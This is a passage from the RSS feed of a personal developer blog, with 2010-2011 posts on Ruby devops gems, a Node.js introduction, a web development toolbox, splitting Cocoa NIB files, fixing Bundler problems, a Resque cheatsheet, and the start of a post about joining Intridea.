you don't use any cloud services, fog has adapters for non-cloud
servers and filesystems.</p>
<div class="markdown-heading"><h3 class="heading-element">Exception Handling</h3><a id="user-content-exception-handling" class="anchor" aria-label="Permalink: Exception Handling" href="#exception-handling"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="http://hoptoadapp.com/pages/home" rel="nofollow">Hoptoad</a> is a household name in the
Ruby community. It catches exceptions created by your app, and sends
them into a pretty web interface and other notifications. If you can't
use Hoptoad because of a firewall, check out the self-hostable
<a href="https://github.com/relevance/errbit">Errbit</a>.</p>
<div class="markdown-heading"><h3 class="heading-element">Monitoring</h3><a id="user-content-monitoring" class="anchor" aria-label="Permalink: Monitoring" href="#monitoring"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>When your infrastructure isn't running smoothly, it better be raising
all kinds of alarms and sirens to get someone to fix it. Two popular
monitoring solutions are <a href="http://god.rubyforge.org/" rel="nofollow">God</a>, and
<a href="https://github.com/k33l0r/monit">Monit</a>. God lets you configure which
services you want to monitor in Ruby, and the Monit gem gives you an
interface to query services you have registered with
<a href="http://mmonit.com/monit/" rel="nofollow">Monit</a>. If you have a Ruby script that
you'd like to have running like a traditional Unix daemon, check out
the <a href="http://daemons.rubyforge.org/" rel="nofollow">daemons gem</a>. It wraps around your
existing Ruby script and gives you a 'start', 'stop', 'restart'
command line interface that makes it easier to monitor. Don't forget
to monitor your background services, it sucks to have all your users
find your broken server before you do.</p>
<div class="markdown-heading"><h3 class="heading-element">Staging</h3><a id="user-content-staging" class="anchor" aria-label="Permalink: Staging" href="#staging"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Your application is happily running in production, but all of a
sudden, it decides to implode on itself for a specific user when they
update their avatar. Try as you might, you just can't reproduce the
bug locally. You could do some cowboy debugging on production, but
you'll end up dropping your entire database on accident. Oops.</p>
<p>It's times like these that you'll be thankful you have a staging
environment setup. If you use capistrano, make sure to check out how
to use capistrano-ext gem, and its <a href="http://weblog.jamisbuck.org/2007/7/23/capistrano-multistage" rel="nofollow">multi-stage deploy
functionality</a>.
To reproduce your bug on the same data, you can use the <a href="https://github.com/ricardochimal/taps">taps
gem</a> to transfer your data from
your production database to your staging database. If you're using
Heroku <a href="http://devcenter.heroku.com/articles/taps" rel="nofollow">then it's already
built-in</a>.</p>
<p>Before you start testing your mailers on staging, do all of your users
a favor and install the <a href="https://github.com/myronmarston/mail_safe">mail_safe
gem</a>. It stubs out
ActionMailer so that your users don't get your testing spam. It also
lets you send emails to your own email address for testing.</p>
<div class="markdown-heading"><h3 class="heading-element">CLI Tools</h3><a id="user-content-cli-tools" class="anchor" aria-label="Permalink: CLI Tools" href="#cli-tools"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="https://github.com/wycats/thor">Thor</a> is a good foundation for
writing CLI utilities in Ruby. It has interfaces for manipulating
files and directories, parsing command line options, and manipulating
processes.</p>
<div class="markdown-heading"><h3 class="heading-element">Deployment</h3><a id="user-content-deployment" class="anchor" aria-label="Permalink: Deployment" href="#deployment"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><a href="https://github.com/capistrano/capistrano">Capistrano</a> helps you
deploy your application, and
<a href="http://wiki.opscode.com/display/chef/Home" rel="nofollow">Chef</a> configures and
deploys your servers and services. If you use
<a href="http://vagrantup.com/" rel="nofollow">Vagrant</a> for managing development virtual
machines, you can reuse your Chef cookbooks for production.</p>
<div class="markdown-heading"><h2 class="heading-element">Conclusion</h2><a id="user-content-conclusion" class="anchor" aria-label="Permalink: Conclusion" href="#conclusion"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>All of these gems help us maintain our application infrastructure in a
robust way. It frees us from running one-off scripts and hacks in
production and gives us a repeatable process for managing everything
our app runs on. And on top of all the awesome functionality these
tools provide, we can also write Ruby to interact with them and
version control them alongside our code. So for your next killer
webapp, don't forget to add some killer devops to go along with it.</p>
  ]]></description>
</item>

<item>
  <title>Node.js Jumpstart</title>
  <link>https://jch.github.io/posts/2011-04-08-nodejs-jumpstart.html
</link>
  <guid>https://jch.github.io/posts/2011-04-08-nodejs-jumpstart.html
</guid>
  <pubDate>Fri, 08 Apr 2011 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>In a nutshell, Node is a Javascript framework for building network
apps.  Network apps are broader in scope than webapps. They don't need
to run on HTTP, thus freeing you to write lower level tools. Node
doesn’t necessarily have to be part of your core app, and in many
cases, it makes for a good fit for writing some of the support
functions for your webapp. I'll cover the basics of getting Node
setup, some event driven programming, and some miscellaneous Node
goodies.</p>
<p>To get started, you can grab the latest Node release from
<a href="https://github.com/joyent/node.git">Github</a>. They have <a href="https://github.com/joyent/node/wiki/Installation">good
installation
instructions</a>, but
for the truly uninitiated Mac users, you can install it via
<a href="https://github.com/mxcl/homebrew">homebrew</a>:</p>
<pre><code>brew install node
</code></pre>
<p>Once you have Node, you can try it out with an interactive session
much like irb. Run node with no arguments:</p>
<pre><code>node
&gt; console.log('hello world')
hello world
</code></pre>
<p>Node's biggest core idea is evented I/O. Instead of blocking and
waiting for I/O to finish, Node will start I/O, and execute a callback
when data is actually ready. On top of reading and writing requests
and responses, we spend a lot of time doing I/O when we fetch data
from a datastore, or make external requests to other APIs. With Node,
we save that wasted blocking time to do actual useful work.</p>
<p>Let's compare a really simple file I/O operation to compare Ruby to
Node.  Here's a simple Ruby script that will read a file 3 times and
print when it finishes, and also print "doing something important".</p>
<pre><code>(1..3).each do |i|
  contents = File.read('foo.txt')
  puts "#{i}. Finished reading file"
  puts "#{i}. doing something important..."
end
</code></pre>
<p>We also print out the loop counter to see the order the statements
were run.  The output is unsurprising:</p>
<pre><code>1. Finished reading file
1. doing something important...
2. Finished reading file
2. doing something important...
3. Finished reading file
3. doing something important...
</code></pre>
<p>Now let's look at the Node equivalent of the same script:</p>
<pre><code>var fs = require('fs');
for (var i=1; i&lt;=3; i++) {
  fs.readFile('presentation.key', function(err, data) {
    console.log(i + ". Finished reading file");
  });
  console.log(i + ". doing something important...");
}
</code></pre>
<p>What's interesting in this code is the callback we use with the
readFile method. By having a callback on this I/O action, readFile
will immediately return when called, which allows "doing something
important" to be run before the I/O actually completes. When the file
is finished reading, then we invoke the callback.  Here's the output
for the Node script:</p>
<pre><code>1. doing something important...
2. doing something important...
3. doing something important...
4. Finished reading file
4. Finished reading file
4. Finished reading file
</code></pre>
<p>Were you surprised by the loop counter 4 in the results? This is one
of those subtle "gotcha's" that takes time to get used to. Because the
callback is invoked long after the loop is finished, the loop counter
variable 'i' has been incremented to 4.</p>
<p>The community for Node is growing, and there is already a <a href="https://github.com/joyent/node/wiki/modules">large
number of non-blocking
libraries</a> that are Node
friendly. Many of these can be used to build diagnostic and metrics
tools for supporting your site. If your site has a need for push
notifications or uses AJAX to poll for updates, you can also use Node
to handle those features on your site. A few fun examples of apps
built with Node include <a href="https://github.com/etsy/statsd">StatsD</a>,
<a href="http://projects.nuttnet.net/hummingbird/" rel="nofollow">Hummingbird Analytics</a>, and
<a href="https://github.com/mape/node-wargames">Node Wargames</a>.</p>
<p>That covers a brief introduction to Node.  I leave you with a quote
from the creator of Node that I'm a fan of.  He says:</p>
<div>
<p>Node jails you into this evented-style programming. You can't do things in
a blocking way, you can’t write slow programs. </p>
<p> <strong>--Ryan Dahl</strong>
</p>
</div>
  ]]></description>
</item>

<item>
  <title>My Web Development Toolbox, 2010 Edition</title>
  <link>https://jch.github.io/posts/2011-01-11-my-web-development-toolbox-2010-edition.html
</link>
  <guid>https://jch.github.io/posts/2011-01-11-my-web-development-toolbox-2010-edition.html
</guid>
  <pubDate>Tue, 11 Jan 2011 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>2010 was a big shift in work environment for me. I migrated from an office to
a completely distributed and remote team at <a href="http://outspokes.com" rel="nofollow">Outspokes</a>
and then to <a href="http://intridea.com" rel="nofollow">Intridea</a> later in the same year.  Many of my
daily tools stayed the same, but there's been plenty of additions to streamline
my work.  Here's an overview of my most used tools for web development.</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/chrome.png"><img src="/images/app_icons/chrome.png" style="max-width: 100%;"></a></p>
### [Chrome](<a href="http://www.google.com/chrome" rel="nofollow">http://www.google.com/chrome</a>)
<p>I switched to Chrome as my personal use browser, but stuck with Firefox because
of Firebug and other extensions.  Chrome was snappy in daily use, consumed less
resources, and just plain <em>felt</em> better than Firefox.  Once I learned about the
available "Web Inspector", the switch was complete.  Nowadays, I only open other
browsers briefly for testing.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/skype.png"><img src="/images/app_icons/skype.png" style="max-width: 100%;"></a></p>
### [Skype](<a href="http://www.skype.com/" rel="nofollow">http://www.skype.com/</a>)
<p>Instead of holding meetings in person, Skype is now always open for conference
calls.  Meetings are scheduled in Google calendar, and if screen sharing is
needed, then we pop open a <a href="http://www.gotomeeting.com/" rel="nofollow">GoToMeeting</a>.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/presently.png"><img src="/images/app_icons/presently.png" style="max-width: 100%;"></a></p>
### [Presently](<a href="http://www.presently.com/" rel="nofollow">http://www.presently.com/</a>)
<p>I used Yammer briefly while at Outspokes, but none of us got into it very
much. At Intridea, there was so much more knowledge and information that
needed to be shared between projects and team members that I saw the real value
of micro-blogging for the first time.  On a remote team, it's also a great way
to share a virtual water cooler and hang out with your co-workers.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/propane.png"><img src="/images/app_icons/propane.png" style="max-width: 100%;"></a></p>
### [Propane](<a href="http://propaneapp.com/" rel="nofollow">http://propaneapp.com/</a>)
<p>Campfire client for OSX. I don't use Campfire for all my projects, but when a
client requests it, then I can keep separate tabs.  The integrated file upload
and download is nice too.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/textmate.png"><img src="/images/app_icons/textmate.png" style="max-width: 100%;"></a></p>
### [Textmate](<a href="http://macromates.com/" rel="nofollow">http://macromates.com/</a>)
<p>I grew up on Emacs, and I still use it frequently, but Emacs and Vim are both
kind of clunky and doesn't fit in with the rest of the Cocoa environment.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/gitx.png"><img src="/images/app_icons/gitx.png" style="max-width: 100%;"></a></p>
### [Gitx](<a href="http://gitx.frim.nl/" rel="nofollow">http://gitx.frim.nl/</a>)
<p>Simple way to stage and unstage changes.  I know there's fancier apps that
integrate with Github, but for the time being, this app has just the right
amount of features for me.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/cloudapp.png"><img src="/images/app_icons/cloudapp.png" style="max-width: 100%;"></a></p>
### [Cloudapp](<a href="http://getcloudapp.com/" rel="nofollow">http://getcloudapp.com/</a>) and [Skitch](<a href="http://skitch.com/" rel="nofollow">http://skitch.com/</a>)
<p>I use Cloudapp for ultra-quick screenshots and file uploads. When I need to
draw a few arrows and text, I open up Skitch and drag the image up to the
Cloudapp menulet.  I know Skitch has built in sharing, but the Cloudapp one
feels more polished to me.  Both are great apps I use <strong>all the time</strong>.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/divvy.png"><img src="/images/app_icons/divvy.png" style="max-width: 100%;"></a></p>
### [Divvy](<a href="http://www.mizage.com/divvy/" rel="nofollow">http://www.mizage.com/divvy/</a>)
<p>Divvy lets me quickly tile a bunch of windows.  It's just a single feature,
but it's an awesome single feature.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/pixelmator.png"><img src="/images/app_icons/pixelmator.png" style="max-width: 100%;"></a></p>
### [Pixelmator](<a href="http://www.pixelmator.com/" rel="nofollow">http://www.pixelmator.com/</a>)
<p>I don't do very much graphics work, but it's nice to have an app that lets me
whip up a quick background, or tweak an existing image asset.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/httpclient.png"><img src="/images/app_icons/httpclient.png" style="max-width: 100%;"></a></p>
### [HTTPClient](<a href="http://ditchnet.org/httpclient/" rel="nofollow">http://ditchnet.org/httpclient/</a>)
<p>Great way to test APIs and inspect HTTP headers.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/multifirefox.png"><img src="/images/app_icons/multifirefox.png" style="max-width: 100%;"></a></p>
### [MultiFirefox](<a href="http://davemartorana.com/multifirefox/" rel="nofollow">http://davemartorana.com/multifirefox/</a>)
<p>When I do need to test multiple versions of Firefox, MultiFirefox is a kickass
simple utility for launching different versions with different profiles.
<br></p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/app_icons/virtualbox.png"><img src="/images/app_icons/virtualbox.png" style="max-width: 100%;"></a></p>
### [VirtualBox](<a href="http://www.virtualbox.org/" rel="nofollow">http://www.virtualbox.org/</a>)
<p>For IE testing, I've tried Fusion, Parallel, and VirtualBox. Out of the 3, I
think VirtualBox has been the least buggy and simplest. It might not have
bells and whistles, but honestly, I just want to boot Windows and load
<em>shudder</em> IE6 and 7. As an added bonus, there's libraries for controlling
VirtualBox programmatically.
<br></p>
<div class="markdown-heading"><h2 class="heading-element">Do more with less</h2><a id="user-content-do-more-with-less" class="anchor" aria-label="Permalink: Do more with less" href="#do-more-with-less"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I'm open minded about trying new apps, but more tools doesn't always mean more
productivity.  These apps represent a greatest hits list for the past year. It's
not a comprehensive list, but if any of these apps disappeared, I'd really be
hurting.</p>
  ]]></description>
</item>

<item>
  <title>Modular Cocoa Interfaces</title>
  <link>https://jch.github.io/posts/2011-01-05-modular-cocoa-interfaces.html
</link>
  <guid>https://jch.github.io/posts/2011-01-05-modular-cocoa-interfaces.html
</guid>
  <pubDate>Wed, 05 Jan 2011 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>While iOS projects have the advantage of multiple NIB files, this is
not the default for development on OSX. When working on a Mac or iOS
project with more than one person, you quickly learn that attempting
to merge conflicted Interface Builder files or XCode project files can
only result in tears. But just because you can't work on the same NIB
doesn't mean that the productivity of the entire team should be
blocked by the one person editing MainMenu.xib. Cocoa allows you to
chop your UI into separate NIBs and control them with multiple
NSWindowControllers. Once you separate out different windows from
MainMenu, you're much less likely to conflict with your team. As an
added benefit, your UI will feel snappier because NIB loading will be
delayed until it's actually needed. I'll demonstrate this technique by
separating the Preferences window from the main window, a common and
easy case for refactoring.</p>
<div class="markdown-heading"><h2 class="heading-element">Code</h2><a id="user-content-code" class="anchor" aria-label="Permalink: Code" href="#code"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>For starters, let's create a new NSWindowController subclass for
driving our Preferences window.  We'll name it PreferencesController.</p>
<p>The header:</p>
<pre><code>#import &lt;Cocoa/Cocoa.h&gt;
@interface PreferencesController : NSWindowController {
}
@end
</code></pre>
<p>The implementation:</p>
<pre><code>#import "PreferencesController.h"
@implementation PreferencesController

- (id) init {
  if(self = [super initWithWindowNibName:@"Preferences"]) {
  }
  return self;
}
</code></pre>
<p>The only difference from a generic NSWindowController is the custom
constructor. This controller will try to load a NIB named
"Preferences.xib" when it's -showWindow: method is called. In the
Xcode sidebar, right click Resources, Add File, User Interface, and
choose "Window XIB".  Name this xib "Preferences.xib".</p>
<div class="markdown-heading"><h2 class="heading-element">Interface Builder</h2><a id="user-content-interface-builder" class="anchor" aria-label="Permalink: Interface Builder" href="#interface-builder"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Next comes the error-prone step.  If you don't add all the right
connections in Interface Builder, then your new window will act
erratically.  It might not show up, it might not be in focus, it might
not close, or it might explode your Mac (unlikely, but not
impossible).  First, add an NSObject to your Document and change the
'Class' to 'PreferencesController'</p>
<div><a href="https://skitch.com/jollyjerry/rg3ir/preferences-controller-identity-2" rel="nofollow"><img src="https://camo.githubusercontent.com/e5b6776b504feccf53eea7e6f174f2d05fa9c0040fc0e9e12f4f74e8da3a647e/68747470733a2f2f696d672e736b697463682e636f6d2f32303130313232372d6e6d786e7870346e613770386d74676a31356561376966686d6d2e707265766965772e6a7067" alt="Preferences Controller Identity-2" data-canonical-src="https://img.skitch.com/20101227-nmxnxp4na7p8mtgj15ea7ifhmm.preview.jpg" style="max-width: 100%;"></a></div>
<br>
<p>To test that our NIB is loading properly, let's connect the
'Preferences' menu item to the showWindow: action.</p>
<div><a href="https://skitch.com/jollyjerry/rg3ix/menu-item-connections" rel="nofollow"><img src="https://camo.githubusercontent.com/287e8667301a16dd8e7f3b7b821263a93bdcc723eb5fc5580cdc4999c9f6b3ed/68747470733a2f2f696d672e736b697463682e636f6d2f32303130313232372d6563757063666a6b6b3673366e73786977727065366465796a792e707265766965772e6a7067" alt="Menu Item Connections" data-canonical-src="https://img.skitch.com/20101227-ecupcfjkk6s6nsxiwrpe6deyjy.preview.jpg" style="max-width: 100%;"></a></div>
<br>
<p>We're almost there, but if you run the app now, you'll notice that the
Preferences window doesn't focus properly. While our "MainMenu.xib"
has a reference to PreferencesController, we forgot to let
Preferences.xib know that its owner is of type PreferencesController.
Open "Preferences.xib", and change "File's Owner" to
PreferencesController, and also set its "window" connection to point
to the window.</p>
<div><a href="https://skitch.com/jollyjerry/rg3ii/preferences-controller-connections" rel="nofollow"><img src="https://camo.githubusercontent.com/c2d9c908525876ad3515aee39107979de3472ccc9053ee9690c633fbf0a029fa/68747470733a2f2f696d672e736b697463682e636f6d2f32303130313232372d716472746469783338797872343162703738353833776a69666d2e707265766965772e6a7067" alt="Preferences Controller Connections" data-canonical-src="https://img.skitch.com/20101227-qdrtdix38yxr41bp78583wjifm.preview.jpg" style="max-width: 100%;"></a></div>
<br>
<p>If you Build and Run the project now, you should be able to open the
Preferences window from the menu and have the 2nd Preferences window
loaded. Open and close the Preference window a few times for good
measure too.  If something is acting funny, the most likely culprit is
a missing connection for "File's Owner" in "MainMenu.xib" or a missing
connection for the menu. Go over the steps again and recheck your
class identities and connections (cmd-5) in the inspector to make sure
everything is wired correctly.</p>
<div class="markdown-heading"><h2 class="heading-element">What's Next?</h2><a id="user-content-whats-next" class="anchor" aria-label="Permalink: What's Next?" href="#whats-next"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>From here, whenever you need to make changes to the Preferences
window, no changes need to be introduced to "MainMenu.xib". Controller
actions can be specified on PreferencesController, and Interface
Builder can access those actions by making connections to "File's
Owner". For a demo, check out <a href="https://github.com/jch/cocoa-separate-nib-preferences">this account preferences
demo</a>.
Hopefully, you can use this process in your project to cut down on
nasty merges.</p>
<div class="markdown-heading"><h2 class="heading-element">Resources</h2><a id="user-content-resources" class="anchor" aria-label="Permalink: Resources" href="#resources"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<a href="https://github.com/jch/cocoa-separate-nib-preferences">Account Preferences Example</a> - a more fleshed out version of this article.</li>
<li>
<a href="http://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/WinPanel/WinPanel.html" rel="nofollow">Window Programming Guide</a> - best starting place for anything related to windows.</li>
<li><a href="http://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/WinPanel/Concepts/UsingWindowController.html" rel="nofollow">NSWindowController description</a></li>
<li>
<a href="http://developer.apple.com/library/mac/#documentation/Cocoa/Reference/ApplicationKit/Classes/NSWindowController_Class/Reference/Reference.html" rel="nofollow">NSWindowController Class Reference</a> - as always, Apple's docs are a good place to start</li>
<li>
<a href="http://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/Documents/Documents.html#//apple_ref/doc/uid/10000006i" rel="nofollow">Introduction to Document-Based Applications Overview</a> - looking at the Document architecture helps give you an understanding of how Window controllers and NIBs interact.</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Fixing Common Bundler Problems</title>
  <link>https://jch.github.io/posts/2010-08-12-fixing-common-bundler-problems.html
</link>
  <guid>https://jch.github.io/posts/2010-08-12-fixing-common-bundler-problems.html
</guid>
  <pubDate>Thu, 12 Aug 2010 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p><a target="_blank" rel="noopener noreferrer" href="/images/gembundler.png"><img src="/images/gembundler.png" style="max-width: 100%;"></a></p>
When [bundler](<a href="http://gembundler.com/" rel="nofollow">http://gembundler.com/</a>) first came out, I really wanted
to like it. It promised a clean way to declare dependencies on for
your application in a single place, and have that be definitive
regardless of what box your app was running on.  Unfortunately,
reality didn't match up with promises and I've had plenty of headaches
from bundler problems.  Read on for a list of tips I've pulled
together to save you some headache.
<div class="markdown-heading"><h2 class="heading-element">Ensure you're local bundler is the same version as your server</h2><a id="user-content-ensure-youre-local-bundler-is-the-same-version-as-your-server" class="anchor" aria-label="Permalink: Ensure you're local bundler is the same version as your server" href="#ensure-youre-local-bundler-is-the-same-version-as-your-server"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Different versions of bundler may act differently:</p>
<pre><code>bundle --version  # on your local machine and your server
sudo gem install bundler --version="0.9.26"
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Explicitly specify gem versions</h2><a id="user-content-explicitly-specify-gem-versions" class="anchor" aria-label="Permalink: Explicitly specify gem versions" href="#explicitly-specify-gem-versions"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Did you know in HTTParty 0.4.5, there's no 'parsed_response' method on
a response object?  Well, neither did I when it worked fine on my
local laptop (0.6.1), but not on the server (0.4.5)</p>
<pre><code>gem "httparty"  # bad times if your system gem is out of date...
gem "httparty", "~&gt; 0.6.1"  # better, but...
gem "httparty", "0.6.1"     # ...why not just specify the version everyone should use?
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Check you're actually using gems installed by bundler</h2><a id="user-content-check-youre-actually-using-gems-installed-by-bundler" class="anchor" aria-label="Permalink: Check you're actually using gems installed by bundler" href="#check-youre-actually-using-gems-installed-by-bundler"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Once in a while, bundler will report success on install, but you'll
get the wrong gems loaded in your load path.  Grep your load path to
double check libraries you're having trouble with</p>
<pre><code># in script/console
&gt;&gt; $:.grep /http/
=&gt; ["/Users/jch/.bundle/ruby/1.8/gems/httparty-0.6.1/lib"]
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Gemfile conditionals</h2><a id="user-content-gemfile-conditionals" class="anchor" aria-label="Permalink: Gemfile conditionals" href="#gemfile-conditionals"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>bundler allows you to specify groups so only gems you need in one
environment are loaded:</p>
<pre><code># we don't call the group :test because we don't want them auto-required
group :test do
  gem 'database_cleaner', '~&gt; 0.5.0'
  gem 'rspec'
  gem 'rspec-rails', '~&gt; 1.3.2', :require =&gt; 'spec/rails'
end
</code></pre>
<p>All gems you specify in your Gemfile WILL be installed regardless of
what RAILS_ENV you're currently on.  There's a very deceptively named
option called --without that does not work as you would expect:</p>
<pre><code># weird, but this will install gems in group test
bundle install --without=test
</code></pre>
<p>This can turn out to be a disaster if your production environment
tries to install a OSX specific gem with native extensions that you
use for development.  An ugly fix in the meantime is to add
conditionals that look for an environment variable:</p>
<pre><code>if ['test', 'cucumber'].include?(ENV['RAILS_ENV'])
  group :test do
    # your gems
  end
end
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Update your capistrano</h2><a id="user-content-update-your-capistrano" class="anchor" aria-label="Permalink: Update your capistrano" href="#update-your-capistrano"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Don't forget to bundle when you deploy:</p>
<pre><code>after  "deploy:update_code", "deploy:bundle"
namespace :deploy do
  desc "Freeze dependencies"
  task :bundle, :roles =&gt; :app do
    run "cd #{release_path} &amp;&amp; bundle install --relock --without=test"
  end
end
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">NameErrors and autoloading issues</h2><a id="user-content-nameerrors-and-autoloading-issues" class="anchor" aria-label="Permalink: NameErrors and autoloading issues" href="#nameerrors-and-autoloading-issues"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Read <a href="http://github.com/josevalim/inherited_resources/issues/issue/34">this
issue</a>.
The fix is to skip the require in your Gemfile and do the require in
your environment.rb:</p>
<pre><code># Gemfile
gem 'misbehaving_gem', :require_as =&gt; []

# environment.rb
Rails::Initializer.run do |config|
  # ...
  config.gem 'misbehaving_gem'
  # ...
end
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Nuke .bundler</h2><a id="user-content-nuke-bundler" class="anchor" aria-label="Permalink: Nuke .bundler" href="#nuke-bundler"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>When all else doesn't make sense, and you've pulled out what precious
little hair you have left:</p>
<pre><code>rm -rf RAILS_ROOT/.bundle      # removes gems for this project
rm -rf ~/.bundle               # removes cached gems for your current user
rm -rf RAILS_ROOT/Gemfile.lock # lets you do a fresh 'bundle install'

# do a fresh bundle install
bundle install
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Other</h2><a id="user-content-other" class="anchor" aria-label="Permalink: Other" href="#other"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Bundler is still a moving target as far as bugs goes.  It's getting
better with each release, so many of these issues might not exist by
the time you start using it.  Meanwhile, hopefully this list above is
will save you some time with bundler related headaches.  Let me know
in the comments if you've encountered other tips for resolving these
problems.</p>
  ]]></description>
</item>

<item>
  <title>Resque Cheatsheet</title>
  <link>https://jch.github.io/posts/2010-06-22-resque-cheatsheet.html
</link>
  <guid>https://jch.github.io/posts/2010-06-22-resque-cheatsheet.html
</guid>
  <pubDate>Tue, 22 Jun 2010 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p><a target="_blank" rel="noopener noreferrer" href="/images/octocat_happy.gif"><img src="/images/octocat_happy.gif" style="max-width: 100%;"></a></p>
Coded and used by the [Github](<a href="http://github.com/">http://github.com/</a>) team,
[Resque](<a href="http://github.com/defunkt/resque">http://github.com/defunkt/resque</a>) is a Ruby queue for
processing background jobs built on top of
[Redis](<a href="http://code.google.com/p/redis/" rel="nofollow">http://code.google.com/p/redis/</a>).  So far, I'm really enjoying
the simple setup and simple API.  The documentation gives a lot of
good background information, and it's been working well overall.
Follow the jump for a day-to-day usage reference.
<br>
<div class="markdown-heading"><h2 class="heading-element">Status</h2><a id="user-content-status" class="anchor" aria-label="Permalink: Status" href="#status"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code>Resque.info
Resque.queues
Resque.redis
Resque.size(queue_name)

# check out what's coming next in the queue
#    Resque.peek(archive_queue)
#    Resque.peek(archive_queue, 1, 5)
#    Resque.peek(archive_queue, 59, 30)
Resque.peek(queue_name, start=1, count=1)
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Workers</h2><a id="user-content-workers" class="anchor" aria-label="Permalink: Workers" href="#workers"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code>Resque.workers
Resque.working
Resque.remove_worker(worker_id) # find worker_id from one of the above methods
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Queue Management</h2><a id="user-content-queue-management" class="anchor" aria-label="Permalink: Queue Management" href="#queue-management"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code># For testing a worker, I usually call the 'perform' method directly.
#    Resque.enqueue(ArchiveWorker)
#    Resque.enqueue(ArchiveWorker, 'matching', 'arguments')
Resque.enqueue(klass, *args)
Resque.dequeue(klass, *args)
Resque.remove_queue(queue_name)
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Callbacks</h2><a id="user-content-callbacks" class="anchor" aria-label="Permalink: Callbacks" href="#callbacks"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code># Each of these can either take a block, or be assigned to with a Proc
Resque.before_first_fork(&amp;blk)
Resque.before_fork(&amp;blk)
Resque.after_fork(&amp;blk)
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Problems</h2><a id="user-content-problems" class="anchor" aria-label="Permalink: Problems" href="#problems"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Redis connects to wrong host - Redis connects to localhost:6379 by
default. Customize this by doing the following:</p>
<pre><code>Resque.redis = 'hostname:port:db'  # all 3 values are optional
</code></pre>
<p>Workers die stop after first batch completes - This is caused by the
workers losing their connection to MySQL.  See <a href="http://gist.github.com/250080">this
gist</a> for a fix and an explanation.
Alternatively, you can add this line at the beginning of your
'perform' method:</p>
<pre><code>ActiveRecord::Base.reconnect!
</code></pre>
  ]]></description>
</item>

<item>
  <title>New Beginnings: Starting with Intridea</title>
  <link>https://jch.github.io/posts/2010-06-14-starting-at-intridea.html
</link>
  <guid>https://jch.github.io/posts/2010-06-14-starting-at-intridea.html
</guid>
  <pubDate>Mon, 14 Jun 2010 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p><a href="http://intridea.com" rel="nofollow"><img src="/images/intridea-logo.png" style="max-width: 100%;"></a>
Three weeks ago, I started as a full time software developer at
<a href="http://intridea.com" rel="nofollow">Intridea</a>.  It's been an absolute blast so far,
but it happened so quickly that I'm still somewhat dazed at how I got
here.  Just two month ago, I was in <a href="http://flickr.com/mistamushu" rel="nofollow">Israel and Egypt visiting
Wendy</a> and working on
<a href="http://outspokes.com" rel="nofollow">Outspokes</a>, and now I'm working with energetic
and talented individuals; all of whom I've never seen in real life
before, but many of whom I've heard of in the Ruby community.</p>
<p>Back in September, I quit my full time gig at
<a href="http://coupa.com" rel="nofollow">Coupa</a> to start Outspokes with Arthur and Sean.
The <a href="/articles/2009/10/30/first_month_of_first_startup">first month</a>
was like a morale roller coaster ride.  We had many ups and downs.  We
learned a lot of things.  We coded at superhuman speeds, and treated
ourselves like crap to execute more and to execute faster.  I'm proud
of what we accomplished, but I'm ashamed at myself for prioritizing
Outspokes before everything and everyone.  Friends who kept me company
late nights with baked pasta at <a href="http://www.yelp.com/biz/shooting-star-cafe-oakland" rel="nofollow">Shooting Star
